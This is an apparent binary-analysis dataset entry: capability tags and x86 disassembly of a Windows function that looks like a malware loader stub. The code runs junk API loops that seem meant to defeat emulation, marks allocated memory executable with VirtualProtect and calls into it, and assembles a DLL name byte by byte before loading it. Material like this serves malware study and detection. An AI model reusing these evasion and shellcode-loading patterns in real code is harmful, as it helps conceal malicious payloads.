Function at 0x80c5f0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Check for unexpected memory writes
Copy file
Create pipe
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get system information on windows
Manipulate console buffer
Move file
Query environment variable
Receive http response

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x31f0
call fcn.004115c0
push ebx
mov ebx, dword [esp + 0x1c]
push ebp
mov ebp, dword [esp + 0x68]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
xor esi, esi
cmp esi, 0x2cc42
jge 0x80c622
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0xb97b98], 0x6fb
jne 0x80c63e
push 0
push 0
lea eax, [esp + 0x208]
push eax
push 0
call edi
cmp esi, 0x1e9b2138
jle 0x80c656
cmp ebx, 0xc10b08
je 0x80c656
cmp ebp, 0x963c600
jne 0x80c65f
inc esi
cmp esi, 0x99752
jl 0x80c614
cmp dword [0xb97b98], 0xcf8
jne 0x80c6ca
push 0
push 0
push 0
call fcn.004076e6
fldz
add esp, 4
fstp qword [esp]
call fcn.00407a30
fstp st(0)
fldz
fstp qword [esp]
call fcn.004077b0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00407900
fstp st(0)
push 0
push 0
push 0
push 0x812e68
call fcn.00407274
push 0
call fcn.0040757c
add esp, 0x1c
push 0
push 0
call fcn.00407067
add esp, 8
push 0
call fcn.0040752a
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80c6eb
mov eax, 0x5d1
add dword [0xb97b98], eax
cmp dword [0xb97b98], 3
jne 0x80c717
xor ecx, ecx
lea eax, [esp + 0x28]
push eax
push ecx
push ecx
push 0x4063b0
push ecx
mov dword [esp + 0x38], ecx
call edi
push 0
push 0
lea edx, [esp + 0x208]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x80c6d8
mov eax, dword [0xb97b98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x817bfc], eax
mov eax, dword [0xb97b98]
xor esi, esi
test eax, eax
je 0x80c792
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessVersion]
cmp eax, 0xfe
jne 0x80c765
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
call fcn.0080c1a0
mov eax, dword [0xb97b98]
cmp eax, 0x29
jne 0x80c78d
push 0
push 0
lea ecx, [esp + 0xa08]
push ecx
push 0
call edi
push 0
call ebx
mov eax, dword [0xb97b98]
inc esi
cmp esi, eax
jb 0x80c750
cmp eax, 0x70
jne 0x80c8ff
push 0x40637c
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4063fc
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x406414
push 0
push 0x406428
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x1200]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea eax, [esp + 0x2204]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
lea edx, [esp + 0x204]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0x40643c
push 0x406470
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0x406498
push 0x4064d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x406528
lea eax, [esp + 0x1a04]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4065c0
lea ecx, [esp + 0x604]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
lea edx, [esp + 0x34]
push edx
push eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0
push 0
lea eax, [esp + 0xa08]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea ecx, [esp + 0x2a04]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x406620
push 0x4064f4
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0xb97b98]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x2c], 0x9682ab
nop
cmp eax, 3
jne 0x80c93a
lea edx, [esp + 0xc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0xb97b98]
cmp eax, 0xdf
jne 0x80cabd
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x4c]
push edx
push eax
push eax
lea ecx, [esp + 0xa0c]
push ecx
push eax
mov dword [esp + 0x38], eax
call ebp
push 0
push 0
push 0
call ebx
push 0x406614
push 0x406688
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x50]
push edx
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
push 0
push 0x4066c8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x30]
push ecx
push 0x406798
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x604]
push eax
push 0x4066ac
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0x40678c
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor eax, eax
lea ecx, [esp + 0x34]
push ecx
push eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.00408e20
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4067fc
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [0xb97b98]
dec dword [esp + 0x2c]
jne 0x80c920
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x12dba7f4
push 0
call edi
push 0
call ebx
dec esi
jne 0x80cad8
mov edx, dword [0xb97b98]
mov eax, dword [0x817bfc]
lea ecx, [esp + 0x30]
push ecx
push 0x40
push edx
push eax
mov byte [0x812e68], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080c430
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
nop
cmp dword [0xb97b98], 0xba
jne 0x80cb29
lea ecx, [esp + 0x30]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x80cb3c
mov eax, 0
add dword [0x817bfc], eax
inc esi
cmp esi, 0x1605a
jl 0x80cb10
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov ebx, 0xf2b8b
cmp dword [0xb97b98], 0x21
jne 0x80cb6d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x80cb56
mov edx, 0x73
mov eax, 0x6d
mov word [0xb96baa], dx
mov word [0xb96bae], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0xb96bb2], cx
mov word [0xb96bbe], ax
mov word [0xb96bb0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0xb96ba8
mov dword [0xb96bb8], 0x6c0064
mov word [0xb96bac], ax
mov word [0xb96ba8], cx
mov word [0xb96bbc], dx
mov dword [0xb96bb4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xb97b98], 0xc30
jne 0x80cc5b
push 0x406840
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll__lclose]
push 0x40680c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0x406884
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea edx, [esp + 0xa04]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret